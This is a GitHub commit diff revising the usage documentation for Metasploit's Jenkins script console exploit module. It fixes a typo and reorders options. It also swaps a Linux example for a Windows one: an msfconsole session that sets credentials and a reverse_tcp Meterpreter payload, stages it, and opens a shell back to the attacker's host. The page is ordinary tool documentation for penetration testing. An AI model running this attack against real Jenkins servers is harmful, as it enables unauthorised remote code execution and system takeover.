Skip to content

Commit f9041bc

Browse files
zeroSteinerzeroSteiner
committed
Address pull request feedback for module docs
1 parent 8937610 commit f9041bc

File tree

1 file changed

+89
-25
lines changed

1 file changed

+89
-25
lines changed

‎documentation/modules/exploit/multi/http/jenkins_script_console.md

Lines changed: 89 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
builds are available.
66

77
Default settings have the script console enabled and require a valid user
8-
account on order to access it. A known account can be used with this module by
8+
account in order to access it. A known account can be used with this module by
99
setting the `USERNAME` and `PASSWORD` options.
1010

1111
## Verification Steps
@@ -22,12 +22,6 @@
2222

2323
## Options
2424

25-
**PASSWORD**
26-
27-
A password to an account that has access to the script console. This is only
28-
necessary if the Jenkins instance has been configured to require
29-
authentication.
30-
3125
**TARGETURI**
3226

3327
The path to the target instance of Jenkins.
@@ -38,29 +32,99 @@
3832
necessary if the Jenkins instance has been configured to require
3933
authentication.
4034

35+
**PASSWORD**
36+
37+
A password to an account that has access to the script console. This is only
38+
necessary if the Jenkins instance has been configured to require
39+
authentication.
40+
4141
## Scenarios
4242

43-
Example usage against a Linux target server.
43+
Example usage against a Windows 7 SP1 x64 bit target running Jenkins 2.19.1.
4444

4545
```
4646
msf > use exploit/multi/http/jenkins_script_console
47-
msf exploit(jenkins_script_console) > set RHOST 192.168.1.154
48-
msf exploit(jenkins_script_console) > set TARGET 1
49-
msf exploit(jenkins_script_console) > exploit
50-
[*] Reloading module...
51-
52-
[*] Started reverse handler on 192.168.1.128:4444
53-
[*] Checking access to the script console
54-
[*] No authentication required, skipping login...
55-
[*] 192.168.1.154:8080 - Sending Linux stager...
56-
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
57-
[*] Sending stage (1126400 bytes) to 192.168.1.154
58-
[*] Meterpreter session 12 opened (192.168.1.128:4444 -> 192.168.1.154:46726) at 2013-01-20 13:37:06 +0100
59-
[!] Deleting /tmp/IVVrDu payload file
47+
msf exploit(jenkins_script_console) > set TARGETURI /
48+
TARGETURI => /
49+
msf exploit(jenkins_script_console) > set USERNAME steiner
50+
USERNAME => steiner
51+
msf exploit(jenkins_script_console) > set PASSWORD I<3msf!
52+
PASSWORD => I<3msf!
53+
msf exploit(jenkins_script_console) > set RHOST 192.168.254.126
54+
RHOST => 192.168.254.126
55+
msf exploit(jenkins_script_console) > set RPORT 8080
56+
RPORT => 8080
57+
msf exploit(jenkins_script_console) > set PAYLOAD windows/meterpreter/reverse_tcp
58+
PAYLOAD => windows/meterpreter/reverse_tcp
59+
msf exploit(jenkins_script_console) > set LHOST 192.168.254.132
60+
LHOST => 192.168.254.132
61+
msf exploit(jenkins_script_console) > exploit
62+
63+
[*] [2016.10.29-18:43:07] Started reverse TCP handler on 192.168.254.132:4444
64+
[*] [2016.10.29-18:43:07] Checking access to the script console
65+
[*] [2016.10.29-18:43:07] Logging in...
66+
[*] [2016.10.29-18:43:07] Using CSRF token: '9623d245b9d60b5ceda72e2d3613431c' (Jenkins-Crumb style)
67+
[*] [2016.10.29-18:43:07] 192.168.254.126:8080 - Sending command stager...
68+
[*] [2016.10.29-18:43:08] Command Stager progress - 2.06% done (2048/99626 bytes)
69+
[*] [2016.10.29-18:43:08] Command Stager progress - 4.11% done (4096/99626 bytes)
70+
[*] [2016.10.29-18:43:08] Command Stager progress - 6.17% done (6144/99626 bytes)
71+
[*] [2016.10.29-18:43:09] Command Stager progress - 8.22% done (8192/99626 bytes)
72+
[*] [2016.10.29-18:43:09] Command Stager progress - 10.28% done (10240/99626 bytes)
73+
[*] [2016.10.29-18:43:09] Command Stager progress - 12.33% done (12288/99626 bytes)
74+
[*] [2016.10.29-18:43:10] Command Stager progress - 14.39% done (14336/99626 bytes)
75+
[*] [2016.10.29-18:43:10] Command Stager progress - 16.45% done (16384/99626 bytes)
76+
[*] [2016.10.29-18:43:10] Command Stager progress - 18.50% done (18432/99626 bytes)
77+
[*] [2016.10.29-18:43:11] Command Stager progress - 20.56% done (20480/99626 bytes)
78+
[*] [2016.10.29-18:43:11] Command Stager progress - 22.61% done (22528/99626 bytes)
79+
[*] [2016.10.29-18:43:11] Command Stager progress - 24.67% done (24576/99626 bytes)
80+
[*] [2016.10.29-18:43:12] Command Stager progress - 26.72% done (26624/99626 bytes)
81+
[*] [2016.10.29-18:43:12] Command Stager progress - 28.78% done (28672/99626 bytes)
82+
[*] [2016.10.29-18:43:12] Command Stager progress - 30.84% done (30720/99626 bytes)
83+
[*] [2016.10.29-18:43:13] Command Stager progress - 32.89% done (32768/99626 bytes)
84+
[*] [2016.10.29-18:43:13] Command Stager progress - 34.95% done (34816/99626 bytes)
85+
[*] [2016.10.29-18:43:13] Command Stager progress - 37.00% done (36864/99626 bytes)
86+
[*] [2016.10.29-18:43:14] Command Stager progress - 39.06% done (38912/99626 bytes)
87+
[*] [2016.10.29-18:43:14] Command Stager progress - 41.11% done (40960/99626 bytes)
88+
[*] [2016.10.29-18:43:14] Command Stager progress - 43.17% done (43008/99626 bytes)
89+
[*] [2016.10.29-18:43:15] Command Stager progress - 45.23% done (45056/99626 bytes)
90+
[*] [2016.10.29-18:43:15] Command Stager progress - 47.28% done (47104/99626 bytes)
91+
[*] [2016.10.29-18:43:15] Command Stager progress - 49.34% done (49152/99626 bytes)
92+
[*] [2016.10.29-18:43:16] Command Stager progress - 51.39% done (51200/99626 bytes)
93+
[*] [2016.10.29-18:43:16] Command Stager progress - 53.45% done (53248/99626 bytes)
94+
[*] [2016.10.29-18:43:17] Command Stager progress - 55.50% done (55296/99626 bytes)
95+
[*] [2016.10.29-18:43:17] Command Stager progress - 57.56% done (57344/99626 bytes)
96+
[*] [2016.10.29-18:43:17] Command Stager progress - 59.61% done (59392/99626 bytes)
97+
[*] [2016.10.29-18:43:18] Command Stager progress - 61.67% done (61440/99626 bytes)
98+
[*] [2016.10.29-18:43:18] Command Stager progress - 63.73% done (63488/99626 bytes)
99+
[*] [2016.10.29-18:43:18] Command Stager progress - 65.78% done (65536/99626 bytes)
100+
[*] [2016.10.29-18:43:19] Command Stager progress - 67.84% done (67584/99626 bytes)
101+
[*] [2016.10.29-18:43:19] Command Stager progress - 69.89% done (69632/99626 bytes)
102+
[*] [2016.10.29-18:43:19] Command Stager progress - 71.95% done (71680/99626 bytes)
103+
[*] [2016.10.29-18:43:20] Command Stager progress - 74.00% done (73728/99626 bytes)
104+
[*] [2016.10.29-18:43:20] Command Stager progress - 76.06% done (75776/99626 bytes)
105+
[*] [2016.10.29-18:43:20] Command Stager progress - 78.12% done (77824/99626 bytes)
106+
[*] [2016.10.29-18:43:21] Command Stager progress - 80.17% done (79872/99626 bytes)
107+
[*] [2016.10.29-18:43:21] Command Stager progress - 82.23% done (81920/99626 bytes)
108+
[*] [2016.10.29-18:43:21] Command Stager progress - 84.28% done (83968/99626 bytes)
109+
[*] [2016.10.29-18:43:22] Command Stager progress - 86.34% done (86016/99626 bytes)
110+
[*] [2016.10.29-18:43:22] Command Stager progress - 88.39% done (88064/99626 bytes)
111+
[*] [2016.10.29-18:43:22] Command Stager progress - 90.45% done (90112/99626 bytes)
112+
[*] [2016.10.29-18:43:23] Command Stager progress - 92.51% done (92160/99626 bytes)
113+
[*] [2016.10.29-18:43:23] Command Stager progress - 94.56% done (94208/99626 bytes)
114+
[*] [2016.10.29-18:43:23] Command Stager progress - 96.62% done (96256/99626 bytes)
115+
[*] [2016.10.29-18:43:24] Command Stager progress - 98.67% done (98304/99626 bytes)
116+
[*] [2016.10.29-18:43:24] Sending stage (957999 bytes) to 192.168.254.126
117+
[*] [2016.10.29-18:43:24] Command Stager progress - 100.00% done (99626/99626 bytes)
118+
[*] Meterpreter session 1 opened (192.168.254.132:4444 -> 192.168.254.126:49258) at 2016-10-29 18:43:26 -0400
60119
61120
meterpreter > sysinfo
62-
Computer : ubuntu
63-
OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 (i686)
64-
Architecture : i686
65-
Meterpreter : x86/linux
121+
Computer : PWNME-PC
122+
OS : Windows 7 (Build 7601, Service Pack 1).
123+
Architecture : x64 (Current Process is WOW64)
124+
System Language : en_US
125+
Domain : WORKGROUP
126+
Logged On Users : 2
127+
Meterpreter : x86/win32
128+
meterpreter >
129+
66130
```

0 commit comments

Comments
 (0)